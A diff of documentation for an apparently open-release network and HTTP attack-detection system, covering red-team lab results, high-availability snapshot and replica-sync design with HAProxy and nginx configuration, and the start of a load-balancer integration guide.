+ | detection decayed wave-over-wave (partially-detected attacks seeped into the self-training) | **reference hygiene** (as of v2.5): a source whose alarms name an attack family, or whose alarms keep coming while it behaves like an attacker, is excluded from the reference entirely; a sporadic un-named alarm stays in (it is the benign tail - excluding it ratchets the FPR up); no source may write more than ~1% of a reference; plus an **immutable anchor** mixed into every epoch and a drift guard that asks who moved the tail. Destinations are not excluded. See docs/TECHNICAL.md section 4.3-4.4 |
208
+ | HTTP session attacks (credential stuffing, scrapers, API enumeration) under-detected | the request is also an event of the client's stream; with the burst preserved, stuffing/scraper/BOLA all reach 0.98-0.99 |
209
+
210
+ Live lab, 6 waves, shipped models, 3000-client synthetic site: HTTP attacks caught 100% (JNDI/WordPress via rules
211
+ 1.0, credential stuffing 0.99, scraper 0.94, BOLA 0.98); flow attacks 77% averaged over cold+warm waves (NTP amp
212
+ 1.0, rapid reset 0.95, SSH brute 0.75, peer flood 0.76, slow scan 0.16 cold -> 0.95 once warm); benign false-alarm
213
+ rate 2e-4 per (source, minute) for flows and 2e-4 for HTTP; blue-team feedback precision 0.95.
214
+
215
+ Operator layer:
216
+ - **Rules** (dibaguard/shield/rules.py): plain-language rules in Persian or English are interpreted (a built-in
217
+ bilingual parser, or an LLM returning the same JSON schema) into deterministic predicates and enforced from the
218
+ first second - so there is no "unprotected while it learns" window. The interpretation is shown back for
219
+ confirmation. An `allow` rule shields a source; the playbook's hard signatures (JNDI, CMS paths) also act at t=0.
220
+ - **Feedback** (dibaguard/shield/feedback.py): the operator confirms / rejects / allowlists alarms from a
221
+ dashboard, MCP or REST. Reject lifts the action and the source's traffic becomes benign reference immediately;
222
+ confirm takes (and escalates) the action; every verdict is logged and exported as labelled data for the
223
+ offline retraining job. So there is no online weight update (poisoning-safe), but the layer adapts at once to
224
+ operator intent and accumulates a retraining set.
225
+ - **Licence-clean retraining**: the network corpus is being rebuilt from the MIT-licensed merged NetFlow v3
226
+ (guard_jobs/entity_build.py nfv3_parquet, corrupt row groups skipped) so the shipped prior can be trained
227
+ without the CC BY-NC-SA sets.
228
+
229
+ ## 10. v2.3: hard adversarial lab, zero-benign-block guarantee, graceful degradation (2026-10-31)
230
+
231
+ A hard-mode lab (scripts/redteam_hard.py) runs 8 waves in which the attacker *evolves* to evade (slower, more
232
+ source IPs, smaller payloads, UA mimicry) while the benign side is hostile (40% brand-new clients each wave, flash
233
+ crowds, Persian traffic, a newly-added service). It scores recall per family *and the benign BLOCK rate* (the real
234
+ harm), per wave, so the learning/degradation curve is visible.
235
+
236
+ What it forced, and the design principles that came out of it:
237
+
238
+ - **Evidence is a zero-mean CUSUM, not a sum.** Per-flow increment is `-log p - k` (k = the benign mean of the
239
+ suspicious-flow -log p), floored at 0. A benign source drifts around 0 at *any* request rate, so a chatty client
240
+ or a flash crowd no longer accumulates its way over the threshold; only a genuine excess builds up. Gated to
241
+ off-profile flows (p < 0.5) on both the fast (tau=120 s) and slow (tau=1800 s) horizons.
242
+
243
+ - **First contact is never auto-blocked.** A source's first flows carry no behaviour to judge; behavioural tiers
244
+ abstain for a newborn source unless the single flow is itself self-evident (p < alpha, e.g. a 1400-byte no-reply
245
+ UDP to a victim) or the supervised prior fires hard. A soft newborn alarm becomes `block_ok = False` -> the layer
246
+ issues a **challenge (HTTP) or monitor (flow)**, never a block. HTTP session alarms block only when the client's
247
+ requests are largely failing (4xx/5xx): a user browsing many pages trips the path-diversity signal but gets 200s,
248
+ so it is challenged; enumeration / credential stuffing / scanners fail requests and are blocked.
249
+
250
+ - **Result (8 waves, evolving attacker, 40% flash-crowd benign): zero benign auto-blocks on both flows and HTTP in
251
+ every wave; feedback precision 1.0.** Recall: rapid reset / NTP amplification / SSH brute force ~1.0, peer flood
252
+ 0.94; the learning curve degrades *gracefully* only against the maximally-evading low-and-slow distributed cases
253
+ (evolving scan 1.0 -> 0.16, distributed credential stuffing 0.98 -> 0.23 as it spreads over many client IPs).
254
+ These are the known-hard, aggregate-only attacks; they are documented honestly and are the roadmap's global-rate
255
+ tier, not a silent failure. Benign alarms that are not blocks (challenges/monitors) are expected under a flash
256
+ crowd and are the standard "under attack" trade-off, tunable via policy.min_action_score.
257
+
258
+ - **Multilingual, by design.** Rule interpretation and the LLM bridge are language-agnostic: with an LLM wired in
259
+ (the normal deployment of an LLM-facing product) a rule in any language is interpreted to the same JSON schema
260
+ (rules.LLM_SCHEMA_PROMPT); the built-in parser is only the Persian/English offline fallback. The rendered
261
+ report and dashboard are English + Persian.
262
+
263
+ What is honestly *not* done (roadmap, not claimed): a global/aggregate rate tier for fully-distributed low-volume
264
+ attacks; automatic database- and network-topology profiling beyond the posture audit's service recognition; and
265
+ online weight learning (kept offline on purpose, fed by the feedback-exported labels) - see section 8.
docs/HA.md ADDED
@@ -0,0 +1,294 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ # DibaGuard — high availability (roadmap item 12)
2
+
3
+ > **Open-release copy** ([DibaAi/DibaGuard-Open](https://huggingface.co/DibaAi/DibaGuard-Open)). This document was written for the private build of DibaGuard. Numbers that involve the HTTP request model (`http_v2`) were measured with that model, which is **not** part of the open release; the open release ships the licence-clean network models described in `CLEAN_MODELS.md`. Licence statements inside this document are superseded by `DATA_LICENSES.md`, `CLEAN_MODELS.md` and the repository's `LICENSE`, `LICENSE-WEIGHTS` and `NOTICE` files. Sections of the original that were written in Persian were removed from this copy; nothing else was edited.
4
+
5
+ What survives a restart, what moves with a host, and how several replicas behind one load balancer stay one guard.
6
+ Everything is in `dibaguard/state.py`; tests in `tests/test_state.py`.
7
+
8
+ ## 1. The pieces
9
+
10
+ | piece | what it does |
11
+ |---|---|
12
+ | `snapshot(layer, dir)` / `restore(layer, dir)` | one versioned, integrity-checked `.npz` holding everything that matters operationally (below); atomic write (temp file + fsync + rename), keeps the newest K per replica; restore takes the newest *valid* one (a corrupted newest file falls back to the previous) |
13
+ | `Snapshotter` | periodic snapshots from the sidecar (`maybe()` every `every_s`), `restore_on_start()` before serving |
14
+ | `ReplicaSync` + `SharedState` | active-active: the shared enforcement view, operator lifts / allowlist, evidence federation; `FileSharedState` (a directory on shared storage, no locks) or `RedisSharedState` (optional, `pip install redis`) |
15
+ | `affinity(ip, replicas)` | the replica that owns a source: rendezvous hash of its /24 (/64 for IPv6) |
16
+ | `Housekeeper` / `from_env` | one background thread in the sidecar: sync, snapshots, optional `tick` |
17
+
18
+ ### What a snapshot holds
19
+
20
+ | part | content | depends on the model files? |
21
+ |---|---|---|
22
+ | `guard` | conformal calibration scores, rolling references (tier 1 / seq / HTTP, Mondrian service x age cells, per age), anomaly references, the immutable anchor, the re-calibration buffer (up to `recal_max_rows`), source and destination evidence (fast + slow CUSUM), entity risk, tier-0 stream counters per source / destination (with their remembered host:port keys), GRU states of warm sources, per-host HTTP site profiles + references, drift martingale, site pressure, global failure / scan rates, the alarm log | yes |
23
+ | `layer` | per-host HTTP bootstrap and re-profile buffers, the payload-provenance ring (web request -> DB query), playbook counts, posture findings | yes (with `guard`) |
24
+ | `db` | known application clients and query shapes per database, per-client volume references, the DbNet reference, decayed rows / bytes / auth-failure counters, operator-approved shapes, DB alarm log, MySQL thread map | yes (DbNet reference) |
25
+ | `enforcement` | block / challenge / rate-limit decisions with **absolute** expiry times, recent audit | no |
26
+ | `feedback` | operator verdicts, allowlist entries with their TTL | no |
27
+ | `rules` | the operator's rules (deduplicated against rules already loaded from the policy) | no |
28
+ | `allowlist` | the runtime allowlist (merged); the whole runtime policy with `policy_mode="replace"` | no |
29
+
30
+ Any other non-scalar attribute of the `Guard`, the `Layer` and the `DbGuard` — state added after this module was
31
+ written, e.g. the campaign trackers, the drift-guard events, the reference-hygiene counters, the layer's request-rate /
32
+ user-agent / SQL-context tables — is captured by a generic encoder: dicts (order kept), sets, tuples, deques, arrays,
33
+ per-key numeric tables, and instances of an explicit allowlist of DibaGuard classes (rebuilt with `__new__`, no
34
+ constructor, no import by name). Scalars are treated as configuration and are not restored. Anything the encoder
35
+ cannot represent is listed in `stats["not_snapshotted"]` of the snapshot result, and the round-trip test fails while
36
+ that list is not empty.
37
+
38
+ Bounded when huge: per-source tables keep every source in force, then up to `max_sources` (default 250 000)
39
+ others — at most half the riskiest (decayed risk, fast evidence, slow evidence, warm GRU sources), the rest the most
40
+ recently seen; `max_destinations` (100 000) likewise; logs keep their tail; `buffer_rows=N` trims the
41
+ re-calibration buffer (`0` drops it: the next epoch then re-calibrates from the anchor + new traffic only).
42
+
43
+ ### File format (schema 1)
44
+
45
+ One `.npz`, always loaded with `allow_pickle=False` (a pickled member is refused, never executed — tested):
46
+
47
+ * `manifest` — uint8 JSON: magic, schema, created, replica, host, **model fingerprint** (sha256 per component:
48
+ tier-1 trees, sequence net, HTTP model incl. its shipped site profile, DbNet; and an id over all), **code-layout id**
49
+ (feature names, horizons, memory, age edges, anomaly / destination feature indices), parts, stats, and the
50
+ **digest**: sha256 — or HMAC-SHA256 when `DIBAGUARD_SNAPSHOT_KEY` is set — over the manifest itself and every
51
+ other member (name, dtype, shape, bytes).
52
+ * `state` — uint8 JSON: the structure; numeric tables are referenced by member name.
53
+ * `keys` — uint8 JSON: one shared key table; every address / host / (host, port) is stored once and referenced by
54
+ int64 index.
55
+ * `a0 … aN` — numeric arrays only (float64 / float32 / int64 / int8).
56
+
57
+ Restore refuses: a bad digest (corrupted or tampered, including a tampered manifest), an unknown schema, a signed
58
+ snapshot without the key, an unsigned one when a key is configured, a member with an object dtype, a zip that
59
+ expands past 8 GB. A snapshot of **other model files or another feature layout** raises `FingerprintMismatch`;
60
+ `restore(..., force=True)` then brings back only `enforcement, feedback, rules, allowlist`.
61
+ `Snapshotter.restore_on_start()` does that by itself (`on_mismatch="independent"`), so blocks and operator
62
+ decisions survive a model upgrade while every reference is re-learned. Restore decodes everything before it
63
+ assigns anything: a failing restore leaves the layer as it was.
64
+
65
+ ## 2. Deployment patterns
66
+
67
+ ### 2.1 One node that restarts
68
+
69
+ ```sh
70
+ DIBAGUARD_SNAPSHOT_DIR=/var/lib/dibaguard/snap DIBAGUARD_SNAPSHOT_EVERY_S=60 \
71
+ python -m dibaguard.llm http --models models --policy policy.json # (needs the hook in section 6)
72
+ ```
73
+
74
+ On start: newest valid snapshot of this replica, expired decisions dropped, blocks put back into the host firewall
75
+ for their *remaining* time. On a clean stop `Housekeeper.stop()` writes a final snapshot (RPO 0 for a clean stop).
76
+
77
+ ### 2.2 Active-passive with snapshot shipping
78
+
79
+ ```
80
+ VIP / DNS (keepalived, cloud LB health check)
81
+ | :
82
+ [active: proxy + sidecar] [passive: proxy + sidecar, not serving]
83
+ | snapshot every 30-60 s
84
+ +--> /var/lib/dibaguard/snap/ --rsync/scp every 30 s--> passive:/var/lib/dibaguard/snap/
85
+ (or both mount one replicated volume)
86
+ ```
87
+
88
+ * Ship only complete files: snapshots are renamed into place, so `rsync --include 'dibaguard-snap-*.npz'
89
+ --exclude '.*'` never copies a half-written one; the receiver verifies the digest anyway
90
+ (`state.verify(path)`).
91
+ * Promotion: start the passive's sidecar; `restore_on_start()` takes its own snapshots first and, when it has none,
92
+ the active's (`replica` filter `None`): a moved / promoted host restores the newest snapshot of any replica.
93
+ * Same model files on both nodes, or the promoted node restores only the model-independent parts.
94
+ * Fencing is the VIP manager's job (keepalived / the cloud LB); DibaGuard does not elect leaders.
95
+ * Set `DIBAGUARD_SNAPSHOT_KEY` on both nodes when the shipping path is not trusted.
96
+
97
+ ### 2.3 Active-active behind HAProxy / nginx with source affinity
98
+
99
+ Each replica is a fast path (`dibaguard-proxy` or `dibaguard-authz`) plus its own Python sidecar. The load balancer
100
+ sends one source to one replica (its evidence accumulates there); the shared view makes every replica enforce what
101
+ any replica decided, so a source that moves (failover, scale-out) is still blocked everywhere.
102
+
103
+ ```
104
+ HAProxy / nginx (hash of the client /24 -> replica)
105
+ / | \
106
+ [lb-a: proxy+sidecar] [lb-b: proxy+sidecar] [lb-c: proxy+sidecar]
107
+ \_______________ shared view ________________/
108
+ /mnt/dibaguard (NFS/SMB/replicated volume) or Redis
109
+ ```
110
+
111
+ HAProxy (2.6+, `balance hash`; older: `balance source` = per address, not per /24):
112
+
113
+ ```
114
+ backend dibaguard
115
+ mode tcp # or http
116
+ balance hash src,ipmask(24,64) # one /24 (IPv6 /64) -> one replica
117
+ hash-type consistent # adding / removing a replica moves ~1/n of the sources
118
+ server lb-a 10.0.0.11:8080 check send-proxy-v2
119
+ server lb-b 10.0.0.12:8080 check send-proxy-v2
120
+ server lb-c 10.0.0.13:8080 check send-proxy-v2
121
+ # replicas: dibaguard-proxy -proxy-protocol -trusted <haproxy CIDR> -challenge-secret <the same on every replica>
122
+ ```
123
+
124
+ nginx (L7; `hash ... consistent` is ketama):
125
+
126
+ ```
127
+ map $remote_addr $dg_net { # IPv4 /24; IPv6 hashes per address unless you add a /64 map
128
+ ~^(?<n>\d+\.\d+\.\d+)\.\d+$ $n;
129
+ default $remote_addr;
130
+ }
131
+ upstream dibaguard {
132
+ hash $dg_net consistent;
133
+ server 10.0.0.11:8080; server 10.0.0.12:8080; server 10.0.0.13:8080;
134
+ }
135
+ # proxy_set_header X-Forwarded-For $remote_addr; replicas: -trusted <nginx CIDR>
136
+ ```
137
+
138
+ On every replica:
139
+
140
+ ```sh
141
+ DIBAGUARD_REPLICA=lb-a DIBAGUARD_SHARED_DIR=/mnt/dibaguard DIBAGUARD_SYNC_EVERY_S=5 \
142
+ DIBAGUARD_SNAPSHOT_DIR=/var/lib/dibaguard/snap/lb-a DIBAGUARD_SNAPSHOT_EVERY_S=300 \
143
+ python -m dibaguard.llm http --models models --policy policy.json
144
+ # or DIBAGUARD_REDIS_URL=redis://redis:6379/0 instead of DIBAGUARD_SHARED_DIR
145
+ ```
146
+
147
+ Rules for active-active:
148
+
149
+ * **Unique replica ids.** `FileSharedState` refuses an id whose heartbeat is fresh from another host.
150
+ * **Same policy, rules and model files** everywhere (configuration management); rules and policy are not synced.
151
+ * **The real client address** must reach the replica (PROXY protocol or a trusted `X-Forwarded-For`); hashing the
152
+ LB's own address would put every source on one replica.
153
+ * **Shared `-challenge-secret`**, so a challenged client that moves keeps a valid cookie.
154
+ * **One HAProxy ACL syncer per HAProxy instance.** `dibaguard-authz -haproxy-socket` owns its ACL / map and deletes
155
+ every entry it did not push; with the shared view every replica's block set converges, but several syncers on one
156
+ HAProxy would fight during the sync period. Run the syncer from one replica (any: they all hold the cluster set).
157
+ * **Clocks within ~1 s (NTP)**: expiries are absolute and a lift cancels decisions published before it.
158
+ * `affinity()` is for routing DibaGuard does itself (a NetFlow / IPFIX fan-out to collector replicas, a log
159
+ shipper, a summary forwarder). Its hash differs from HAProxy's / nginx's: within one routing layer use one of
160
+ them consistently. Both are consistent hashes; `tests/test_state.py` checks that `affinity()` is stable,
161
+ independent of list order, balanced (each of 4 replicas 25 % +- 2 %), moves only the removed replica's sources,
162
+ moves ~1/5 to a fifth replica, and honours weights.
163
+
164
+ How the shared view behaves (`state.merge`): each replica publishes only what changed — new / escalated / extended
165
+ decisions with their absolute expiry, operator lifts (an entry gone before its expiry, or a `reject` /
166
+ `benign_source` verdict, which also resets that source's risk and evidence on every replica), allowlist entries.
167
+ For one source the strongest live action wins with the latest expiry of all live decisions (what one Enforcer would
168
+ have done had it seen every verdict); a lift cancels every decision published at or before it, on every replica,
169
+ and a later decision stands. Imported blocks are applied to the local host firewall too, so the proxy's fast path
170
+ (polling `guard_fast_state`) and HAProxy's ACL syncer (`dibaguard-authz -haproxy-socket`) enforce the cluster's
171
+ decisions. A replica that restarts empty, or joins later, converges on the view at its first sync.
172
+
173
+ Evidence federation: every replica publishes its top-K (1000) sources by decayed fast / slow evidence (those above
174
+ 10 % of the threshold). A source with evidence on two or more replicas is judged on the **sum** against the engine's
175
+ own conformal threshold (`alpha/4`, the same as the evidence tier); a hit is logged as a `federated` alarm and goes
176
+ through the policy like any verdict (a named family from the replicas' alarms -> its action; none -> `attack_generic`
177
+ -> monitor by default). A source seen on one replica only is left to that replica's engine.
178
+
179
+ `FileSharedState` layout (no locks; every replica appends / replaces only its own files):
180
+
181
+ ```
182
+ <root>/enforce/<replica>.jsonl header {"gen"} + append-only records; compaction rewrites it (new gen, atomic rename)
183
+ <root>/evidence/<replica>.json latest evidence summary (atomic replace)
184
+ <root>/replicas/<replica>.json heartbeat (host, pid, time)
185
+ ```
186
+
187
+ Readers keep a byte offset per journal and read only appended complete lines; a new generation means re-read.
188
+
189
+ ## 3. Measured RPO / RTO
190
+
191
+ Machine: Intel Core 12th gen (Family 6 Model 151), 8 logical CPUs, Windows 11, local NVMe; Python 3.13.3, numpy
192
+ 2.2.5. Real engine and Layer, test-fixture models (tier 1: 60 trees depth 4; GRU d=16, 2 layers; HTTP 4096 buckets).
193
+ Traffic: a site calibrated on 60 000 flows from 3 000 clients, then new sources with 4 flows each. Reproduce with
194
+ `PYTHONPATH=. python scripts/ha_bench.py` (ranges below = two runs).
195
+
196
+ | tracked sources | re-calibration buffer rows | warm GRU sources | snapshot size | engine lock held | compress + hash + write | restore (load, verify, decode, apply) |
197
+ |---:|---:|---:|---:|---:|---:|---:|
198
+ | 10 000 | 88 000 | ~1 000 | 8.2 MB (5.7 MB without buffer) | 0.05-0.09 s | 1.0-1.1 s | 0.20-0.24 s |
199
+ | 50 000 | 248 000 | ~6 800 | 19.5 MB (13.3 MB) | 0.29-0.38 s | 2.7-3.0 s | 0.63-0.76 s |
200
+ | 100 000 | 400 000 (cap) | ~14 000 | 30.7 MB (21.1 MB) | 0.59-0.73 s | 4.4-4.7 s | 1.13-1.34 s |
201
+
202
+ About 320 bytes per tracked source with the buffer at its cap, ~220 without. Only the "lock held" column stalls
203
+ scoring (live structures are copied; key encoding, compression, hashing and the write run after the lock). The GRU
204
+ part grows with the real model: `layers x d x 4` bytes per warm source.
205
+
206
+ Replica sync (`FileSharedState`, local disk, two replicas):
207
+
208
+ | decisions per replica | evidence sources per replica | first sync (imports all) | steady sync | journal | evidence summary |
209
+ |---:|---:|---:|---:|---:|---:|
210
+ | 1 000 | 10 000 | 0.03-0.05 s | 0.02 s | 98 kB | 39 kB |
211
+ | 10 000 | 100 000 | 0.16-0.40 s | 0.12-0.14 s | 0.99 MB | 40 kB |
212
+
213
+ (Sync holds the engine lock only while reading / changing the layer; journal and evidence I/O run outside it.)
214
+
215
+ What that means:
216
+
217
+ * **RPO, one node / active-passive:** the snapshot interval + ~5 s (write time at 100k sources). With 60 s
218
+ snapshots, at most ~65 s of evidence, risk and reference updates are lost on a crash; a clean stop loses nothing.
219
+ Enforcement decisions in force at the last snapshot come back with their original expiry.
220
+ * **RPO, active-active:** enforcement decisions, lifts and allowlist entries: one sync period (5 s default) — they
221
+ live in the shared view, not in one process. Per-source evidence of the crashed replica: its snapshot interval
222
+ (federation summaries of the other replicas still hold its top sources only for as long as they decay).
223
+ * **RTO:** process start + model load + restore (~1.1-1.3 s per 100k sources) + one firewall command per restored
224
+ block. In active-active the LB health check removes the dead replica (its sources re-hash to the others, which
225
+ already enforce its decisions); the restarted replica converges at its first sync.
226
+
227
+ ## 4. Failure modes
228
+
229
+ | failure | what happens |
230
+ |---|---|
231
+ | sidecar crash / kill -9 | restart restores the newest valid snapshot; decisions expired meanwhile are dropped, the rest are re-applied to the firewall for their remaining time |
232
+ | crash while writing a snapshot | the temp file (`.dibaguard-snap-*.tmp`) is never renamed; it is ignored, deleted after an hour; the previous snapshot stays valid |
233
+ | corrupted / truncated / tampered snapshot | digest (or zip CRC) mismatch -> `SnapshotError`; a directory restore falls back to the previous snapshot (`rep["skipped"]` says why) |
234
+ | model upgrade | fingerprint mismatch: `restore()` refuses, `restore_on_start()` restores enforcement / feedback / rules / allowlist and the engine re-calibrates from live traffic |
235
+ | code upgrade that changes the feature layout | layout-id mismatch: handled like a model change |
236
+ | host loss (active-passive) | promote the passive: it restores the last shipped snapshot (RPO = ship interval + snapshot interval) |
237
+ | replica loss (active-active) | LB re-hashes its sources; the others already enforce its decisions; their evidence restarts on the new owner, federation sums what the dead replica published until it decays |
238
+ | shared storage slow / unavailable | sync I/O runs outside the engine lock; a failed sync is reported by the Housekeeper and retried; each replica keeps enforcing its own decisions (degrades to independent replicas) |
239
+ | network partition | each side keeps its own decisions and converges when the partition heals; a lift made on one side reaches the other then (no quorum, no strong consistency) |
240
+ | clock skew | expiries are absolute: a replica whose clock is ahead lifts imported decisions early; a lift with a skewed time may cancel (or miss) a decision published within the skew; keep NTP |
241
+ | two hosts with one replica id | refused at start while the other's heartbeat is fresh (< 60 s) |
242
+ | LB scale-out / rehash | ~1/n of the sources move; their evidence restarts on the new owner, and is judged on its total through federation for as long as the old owner's summary holds it |
243
+ | Windows rename while a reader holds a file | retried; a compaction that still fails is skipped until the next round |
244
+ | redis down (RedisSharedState) | the sync raises, the Housekeeper records it and retries; replicas run independently meanwhile |
245
+
246
+ ## 5. What is NOT covered
247
+
248
+ * **No consensus.** The shared view is eventually consistent (one sync period); there is no leader election, quorum
249
+ or fencing. Active-passive failover needs an external VIP manager.
250
+ * **No confidentiality at rest.** HMAC gives integrity, not secrecy. A snapshot holds client addresses, request
251
+ texts (HTTP buffers, provenance ring), database query shapes and the alarm log: treat the snapshot directory and
252
+ the shared directory as sensitive (file permissions, encrypted volume).
253
+ * **Not synced between replicas:** rules, the policy, per-host HTTP profiles and references, the alarm log and
254
+ review queue (each replica reviews its own alarms; only the verdicts' lifts / allowlist propagate), the DB tier.
255
+ Rules and policy come from configuration management.
256
+ * **Federation covers source evidence only** (fast and slow CUSUM). Stream counters, GRU states, entity risk and the
257
+ destination-flood tier stay per replica; a summed evidence is an approximation (each replica floors its own CUSUM
258
+ at zero) and only the top-K sources per replica are exchanged.
259
+ * **Bounded snapshots** drop cold sources beyond `max_sources`; they start fresh after a restore.
260
+ * **Zero RPO** only for a clean stop; a crash loses what happened since the last snapshot (enforcement excepted in
261
+ active-active).
262
+ * **Tested on a local filesystem only** (this round); NFS / SMB semantics (close-to-open consistency, rename
263
+ atomicity) are relied upon but not exercised. The Redis backend is tested against an in-memory fake with the same
264
+ calls, not a server.
265
+ * The Go fast path still polls only its local sidecar; it learns other replicas' decisions through that sidecar
266
+ (one poll interval later).
267
+ * nftables: when an action's TTL is *extended*, the kernel set element keeps its original timeout (pre-existing
268
+ Enforcer behaviour); restored and imported blocks are added with their remaining time.
269
+
270
+ ## 6. Wiring (hook in the sidecar)
271
+
272
+ `state.py` needs no change to existing modules. To turn it on in the HTTP sidecar, `dibaguard/llm.py` needs:
273
+
274
+ ```python
275
+ # in main(), after the Dispatcher with a Layer exists and the server (make_server) is built:
276
+ from dibaguard import state
277
+ srv, cons = make_server(disp, a.host, a.port)
278
+ hk = state.from_env(disp.layer, cons.lock) if disp.layer is not None else None # restore on start + background thread
279
+ try:
280
+ srv.serve_forever()
281
+ finally:
282
+ if hk is not None:
283
+ hk.stop() # final snapshot
284
+ ```
285
+
286
+ `from_env` reads `DIBAGUARD_SNAPSHOT_DIR`, `DIBAGUARD_SNAPSHOT_EVERY_S`, `DIBAGUARD_SNAPSHOT_KEEP`,
287
+ `DIBAGUARD_SNAPSHOT_KEY`, `DIBAGUARD_RESTORE`, `DIBAGUARD_SHARED_DIR` or `DIBAGUARD_REDIS_URL`, `DIBAGUARD_REPLICA`,
288
+ `DIBAGUARD_SYNC_EVERY_S`, `DIBAGUARD_TICK`; with none set it returns `None` and nothing changes.
289
+
290
+ `state.py` reads these existing private attributes, so a rename there must be mirrored in `state.py` (the
291
+ round-trip test's exact-state check fails if one is missed): `Guard._buffer`, `Guard._anchor`, `Guard._log()`,
292
+ `Layer._http_boot_by / _http_recent_by / _http_last_by / _http_last / _http_ring`, `Enforcer._record()`,
293
+ `Policy._allow`, `entity._Rec`, `database._MYSQL_THREADS`. A new piece of engine / layer state must be added to
294
+ `_guard_out` / `_guard_in` (or `_layer_*`, `_db_*`).
docs/INTEGRATIONS.md ADDED
@@ -0,0 +1,629 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ # DibaGuard — load-balancer integrations
2
+
3
+ > **Open-release copy** ([DibaAi/DibaGuard-Open](https://huggingface.co/DibaAi/DibaGuard-Open)). This document was written for the private build of DibaGuard. Numbers that involve the HTTP request model (`http_v2`) were measured with that model, which is **not** part of the open release; the open release ships the licence-clean network models described in `CLEAN_MODELS.md`. Licence statements inside this document are superseded by `DATA_LICENSES.md`, `CLEAN_MODELS.md` and the repository's `LICENSE`, `LICENSE-WEIGHTS` and `NOTICE` files. Sections of the original that were written in Persian were removed from this copy; nothing else was edited.
4
+
5
+ DibaGuard can sit behind the load balancer you already run instead of putting `dibaguard-proxy` inline. Two
6
+ mechanisms, usable together:
7
+
8
+ 1. **Verdict service** — `dibaguard-authz` answers "may this request pass?" for nginx `auth_request`,
9
+ ingress-nginx `auth-url`, Envoy `ext_authz`, Traefik `ForwardAuth`, Caddy `forward_auth` and HAProxy lua
10
+ auth-request. The verdict is exactly the inline proxy's decision (`dibaguard.Decider`, `go/dibaguard/decide.go`):
11
+ the sidecar's standing decision for the client (block / challenge / rate-limit, polled from
12
+ `guard_fast_state`), the payload signatures (`MatchSigs`) and the site-conditioned HTTP model.
13
+ 2. **HAProxy blocklist sync** — `dibaguard-authz -haproxy-socket ...` mirrors the sidecar's block set into an
14
+ HAProxy ACL (or map) through the Runtime API, so HAProxy drops blocked sources in its own data path with **no
15
+ per-request round trip**.
16
+
17
+ Everything below binds to loopback / a private network. The verdict service is not meant to be reachable from the
18
+ internet.
19
+
20
+ | load balancer | mechanism | endpoint | status of this guide |
21
+ |---|---|---|---|
22
+ | nginx | `auth_request` | `/nginx` | **verified against nginx 1.30.6** (§13) + contract tests |
23
+ | Kubernetes ingress-nginx | `auth-url` (+ `auth-signin` for the challenge) | `/nginx`, `/_dibaguard/challenge` | contract tests |
24
+ | Envoy | `ext_authz`, HTTP service | `/envoy/...` (`path_prefix`) | contract tests |
25
+ | Traefik | `ForwardAuth` | `/forward` | contract tests |
26
+ | Caddy | `forward_auth` | `/forward` | contract tests |
27
+ | HAProxy | Runtime API ACL/map sync | — | tested against a fake Runtime API |
28
